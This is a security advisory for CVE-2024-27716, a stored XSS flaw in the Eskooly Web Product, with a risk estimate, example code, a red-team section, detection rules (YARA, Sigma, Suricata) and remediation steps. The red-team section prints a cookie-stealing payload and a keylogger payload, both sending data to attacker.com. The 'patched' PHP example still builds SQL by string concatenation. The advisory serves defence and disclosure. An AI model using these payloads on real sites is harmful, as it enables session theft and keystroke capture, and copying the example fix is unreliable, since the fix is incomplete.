CVE-2024-27716

Executive Summary

CVE-2024-27716 identifies a stored Cross-Site Scripting (XSS) vulnerability in the Eskooly Web Product, version 3.0 and earlier. This flaw allows a remote, unauthenticated attacker to inject arbitrary JavaScript code via the message sending and user input fields. Successful exploitation can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. No public proof-of-concept (PoC) or patch is currently available, and the vendor has not released a security update. The vulnerability is classified under CWE-79 and is associated with MITRE ATT&CK tactic T1190 (Exploit Public-Facing Application).

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It affects a proprietary web application (Eskooly Web Product). No supply chain package security implications are present.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating that no official CVSS vector has been assigned by NVD. Based on the description and typical XSS characteristics, a reasonable estimated vector would be:

• Attack Vector (AV): Network (N) – exploitable remotely.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): None (N) – unauthenticated.
• User Interaction (UI): Required (R) – victim must view the malicious message.
• Scope (S): Changed (C) – impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – limited data exposure.
• Integrity (I): Low (L) – limited modification possible.
• Availability (A): None (N) – no direct impact on availability.

Estimated CVSS v3.1 Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N Estimated Base Score: 6.1 (Medium)

Threat Level: Medium. While the impact is limited to confidentiality and integrity, the lack of a patch and the ease of exploitation (no authentication required) elevate the risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability resides in the message sending and user input fields of the Eskooly Web Product. The application fails to properly sanitize or encode user-supplied input before rendering it in the context of another user's browser session. This is a classic stored XSS flaw.

Attack Flow:

1. An attacker crafts a malicious payload (e.g., <script>alert('XSS')</script>) and submits it via the message sending feature or another user input field.
2. The application stores this payload in its database without sanitization.
3. When a victim user (e.g., an administrator or another user) views the message or the page containing the injected input, the browser executes the attacker's script.
4. The script can then perform actions on behalf of the victim, such as stealing session cookies, redirecting to a phishing page, or modifying page content.

Root Cause: Lack of output encoding and input validation on user-controlled data before it is stored and later displayed.

Vulnerable vs. Patched Code

Since no patch is available, a hypothetical fix is provided.

Vulnerable Code (PHP example):

<?php
// Storing user input without sanitization
$message = $_POST['message'];
$sql = "INSERT INTO messages (content) VALUES ('$message')";
mysqli_query($conn, $sql);

// Displaying stored input without encoding
$result = mysqli_query($conn, "SELECT content FROM messages");
while ($row = mysqli_fetch_assoc($result)) {
    echo $row['content']; // Vulnerable: raw output
}
?>

Patched Code (Hypothetical):

<?php
// Sanitize input before storage
$message = htmlspecialchars($_POST['message'], ENT_QUOTES, 'UTF-8');
$sql = "INSERT INTO messages (content) VALUES ('$message')";
mysqli_query($conn, $sql);

// Output is already safe because it was encoded before storage
$result = mysqli_query($conn, "SELECT content FROM messages");
while ($row = mysqli_fetch_assoc($result)) {
    echo $row['content']; // Safe: already HTML-encoded
}
?>

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable instance of Eskooly Web Product v3.0 (e.g., using a local Docker container or a VM).
2. Access the application and navigate to the messaging feature.

Exploitation Steps:

1. Craft a payload to steal session cookies:

   <script>
   document.location='http://attacker.com/steal.php?cookie='+document.cookie;
   </script>
   

2. Submit the payload via the message input field.
3. Wait for an administrator or another user to view the message.
4. The victim's browser will execute the script and send the cookie to the attacker's server.

Alternative Payload (Keylogger):

<script>
document.onkeypress = function(e) {
    var xhr = new XMLHttpRequest();
    xhr.open('POST', 'http://attacker.com/log.php', true);
    xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
    xhr.send('key=' + e.key);
};
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual script tags in user input fields (e.g., <script>, <img onerror=, <svg onload=).
• Use Web Application Firewall (WAF) rules to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

• Apply input validation and output encoding (e.g., htmlspecialchars() in PHP, escape() in JavaScript).
• Use a security scanner to identify XSS vulnerabilities.
• If possible, disable the messaging feature until a patch is available.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to attacker-controlled domains containing cookie= or key= parameters.
  • Unusual Referer headers pointing to the Eskooly application.
• Host IOCs:
  • Presence of unexpected JavaScript code in the application's database (e.g., in messages table).
  • Modified web pages containing injected script tags.
• Log IOCs:
  • Web server logs showing requests with <script> tags in POST parameters.
  • Error logs indicating failed CSP enforcement.

Detection Engineering

YARA Rule

rule Detect_Eskooly_XSS_Payload {
    meta:
        description = "Detects common XSS payloads targeting Eskooly Web Product"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-27716"
    strings:
        $xss1 = "<script>" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
        $xss5 = "document.cookie" nocase
    condition:
        any of ($xss*)
}

Sigma Rule

title: Potential XSS Attack on Eskooly Web Product
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests containing common XSS payloads in user input fields
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in admin panels (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-27716 - Eskooly XSS Payload Detected"; flow:to_server; content:"POST"; http_method; content:"<script>"; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the messaging feature and any user input fields that are not essential until a patch is available.
2. Implement a Web Application Firewall (WAF) with rules to block common XSS patterns (e.g., <script>, onerror=, javascript:).
3. Apply Content Security Policy (CSP) headers to restrict script execution to trusted sources only. Example:

   Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
   

Long-Term Fixes:

1. Input Validation: Validate all user input against a whitelist of allowed characters (e.g., alphanumeric only for names).
2. Output Encoding: Encode all user-supplied data before rendering it in HTML, JavaScript, or URL contexts. Use context-specific encoding functions (e.g., htmlspecialchars() for HTML, encodeURIComponent() for URLs).
3. Regular Security Audits: Conduct penetration testing and code reviews to identify and fix similar vulnerabilities.
4. Vendor Communication: Contact Eskooly to request a security patch. If no response, consider migrating to an alternative product.

Valters IT
Securing Your Digital Frontier